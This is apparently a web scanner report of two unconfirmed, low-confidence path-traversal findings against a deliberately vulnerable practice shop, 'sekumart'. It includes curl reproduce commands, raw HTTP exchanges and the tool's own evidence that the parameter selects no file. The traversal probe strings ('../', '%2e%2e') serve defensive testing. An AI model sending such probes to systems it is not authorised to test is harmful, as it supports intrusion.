href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/cart.php query string · load unconfirmed · low confidence BV-039 info

location: GET https://sekumart.sekuripy.hr/cart.php?host=1&ip=1&cmd=1&fetch=true&load=1&refresh=true&all=true&expand=true
input: load in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

load reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

load looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/cart.php?host=1&ip=1&cmd=1&fetch=true&load=1&refresh=true&all=true&expand=true bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/cart.php?host=1&ip=1&cmd=1&fetch=true&load=sks53u1a2/../1&refresh=true&all=true&expand=true'

GET /cart.php?host=1&ip=1&cmd=1&fetch=true&load=sks53u1a2/../1&refresh=true&all=true&expand=true HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/cart.php?host=1&ip=1&cmd=1&fetch=true&load=1&refresh=true…

request

GET /cart.php?host=1&ip=1&cmd=1&fetch=true&load=1&refresh=true&all=true&expand=true HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:55 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/cart.php?host=1&ip=1&cmd=1&fetch=true&load=1&refresh=true…

request

GET /cart.php?host=1&ip=1&cmd=1&fetch=true&load=1&refresh=true&all=true&expand=true HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:55 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

normalised HTTP 200 https://sekumart.sekuripy.hr/cart.php?host=1&ip=1&cmd=1&fetch=true&load=sks53u1a2/../1…

request

GET /cart.php?host=1&ip=1&cmd=1&fetch=true&load=sks53u1a2/../1&refresh=true&all=true&expand=true HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:55 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

double_encoded HTTP 200 https://sekumart.sekuripy.hr/cart.php?host=1&ip=1&cmd=1&fetch=true&load=sks53u1a2/%2e%2e/1…

request

GET /cart.php?host=1&ip=1&cmd=1&fetch=true&load=sks53u1a2/%2e%2e/1&refresh=true&all=true&expand=true HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:55 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

control HTTP 200 https://sekumart.sekuripy.hr/cart.php?host=1&ip=1&cmd=1&fetch=true&load=sks53u1a2/1…

request

GET /cart.php?host=1&ip=1&cmd=1&fetch=true&load=sks53u1a2/1&refresh=true&all=true&expand=true HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:55 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

listing HTTP 200 https://sekumart.sekuripy.hr/cart.php?host=1&ip=1&cmd=1&fetch=true&load=&refresh=true&all=…

request

GET /cart.php?host=1&ip=1&cmd=1&fetch=true&load=&refresh=true&all=true&expand=true HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:55 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/catalog.php query string · load unconfirmed · low confidence BV-040 info

location: GET https://sekumart.sekuripy.hr/catalog.php?host=1&ip=1&cmd=1&fetch=true&load=1&refresh=true&all=true&expand=true
input: load in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

load reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

load looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/catalog.php?host=1&ip=1&cmd=1&fetch=true&load=1&refresh=true&all=true&expand=true bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/catalog.php?host=1&ip=1&cmd=1&fetch=true&load=sks53u1a2/../1&refresh=true&all=true&expand=true'

GET /catalog.php?host=1&ip=1&cmd=1&fetch=true&load=sks53u1a2/../1&refresh=true&all=true&expand=true HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/catalog.php?host=1&ip=1&cmd=1&fetch=true&load=1&refresh=true…

request

GET /catalog.php?host=1&ip=1&cmd=1&fetch=true&load=1&refresh=true&all=true&expand=true HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:05 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/catalog.php?host=1&ip=1&cmd=1&fetch=true&load=1&refresh=true…

request

GET /catalog.php?host=1&ip=1&cmd=1&fetch=true&load=1&refresh=true&all=true&expand=true HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:05 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

normalised HTTP 200 https://sekumart.sekuripy.hr/catalog.php?host=1&ip=1&cmd=1&fetch=true&load=sks53u1a2/../1…

request

GET /catalog.php?host=1&ip=1&cmd=1&fetch=true&load=sks53u1a2/../1&refresh=true&all=true&expand=true HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:05 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

double_encoded HTTP 200 https://sekumart.sekuripy.hr/catalog.php?host=1&ip=1&cmd=1&fetch=true&load=sks53u1a2/%2e…

request

GET /catalog.php?host=1&ip=1&cmd=1&fetch=true&load=sks53u1a2/%2e%2e/1&refresh=true&all=true&expand=true HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:05 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

control HTTP 200 https://sekumart.sekuripy.hr/catalog.php?host=1&ip=1&cmd=1&fetch=true&load=sks53u1a2/1…

request

GET /catalog.php?host=1&ip=1&cmd=1&fetch=true&load=sks53u1a2/1&refresh=true&all=true&expand=true HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:05 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

listing HTTP 200 https://sekumart.sekuripy.hr/catalog.php?host=1&ip=1&cmd=1&fetch=true&load=&refresh=true…

request

GET /catalog.php?host=1&ip=1&cmd=1&fetch=true&load=&refresh=true&all=true&expand=true HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:06 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

